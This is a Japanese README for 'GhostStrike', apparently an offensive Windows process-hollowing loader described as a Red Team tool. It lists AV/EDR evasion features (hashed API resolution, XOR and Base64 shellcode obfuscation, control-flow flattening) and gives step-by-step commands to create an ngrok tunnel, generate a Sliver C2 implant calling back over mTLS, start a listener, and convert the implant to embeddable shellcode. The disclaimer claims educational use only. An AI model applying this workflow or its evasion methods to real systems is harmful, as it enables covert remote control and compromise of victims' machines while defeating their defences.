GhostStrike ⚔️

GhostStrike は、Red Team オペレーション向けに設計された高度なサイバーセキュリティツールであり、検知を回避し、Windows システム上でプロセスホロウイングを実行するための洗練された技術を備えています。

---

✨ 機能

• 動的 API 解決: カスタムのハッシュベースの手法を利用して Windows API を動的に解決し、シグネチャベースのセキュリティツールによる検知を回避します。
• Base64 エンコード/デコード: シェルコードをエンコードおよびデコードしてメモリ内での存在を隠蔽し、静的解析ツールによる検知をより困難にします。
• 暗号鍵の生成: Windows Cryptography API を使用して安全な暗号鍵を生成し、シェルコードを暗号化および復号化することで、追加の保護層を加えます。
• XOR 暗号化/復号化: シンプルながら効果的な XOR ベースの暗号化により、インジェクション処理中にシェルコードを保護します。
• 制御フローの平坦化: 制御フローの平坦化を実装して実行パスを難読化し、静的解析ツールと動的解析ツールの両方による分析を複雑にします。
• プロセスホロウイング: 暗号化されたシェルコードを正規の Windows プロセスにインジェクションし、疑念を招くことなく隠密に実行できるようにします。

---

⚙️ 設定

以下の手順で GhostStrike を設定できます:

1. Ngrok サービスの作成: ngrok tcp 443
2. Sliver C2 インプラントの生成: generate --mtls x.tcp.ngrok.io --save YourFile.exe
3. リスナーの作成: mtls --lhost 0.0.0.0 --lport 443
4. .bin への変換: ./donut -i /home/YourUser/YourFile.exe -a 2 -f 1 -o /home/YourUser/YourFile.bin
5. C++ シェルコードへの変換: xxd -i YourFile.bin > YourFile.h
6. YourFile.h をこのコードにインポート
7. コンパイルして楽しんでください! 🚀

---

💻 要件

• C++ コンパイラ: g++、clang++、Visual Studio など、任意のモダンな C++ コンパイラでコードをコンパイルできます。

GhostStrike をビルドするために追加の依存関係は必要ありません。お好みの C++ コンパイラでソースコードをコンパイルするだけで、すぐに使用できます!

---

⚠️ 免責事項

このツールは教育目的および管理された環境での使用のみを目的としています。これらの設定以外での GhostStrike の不正使用は固く禁止されています。作者 @Stiven.Hacker は、このコードによるいかなる誤用や損害についても責任を負いません。

---

🎥 デモ

LinkedIn で GhostStrike の実際の動作デモをご覧ください:

デモを見る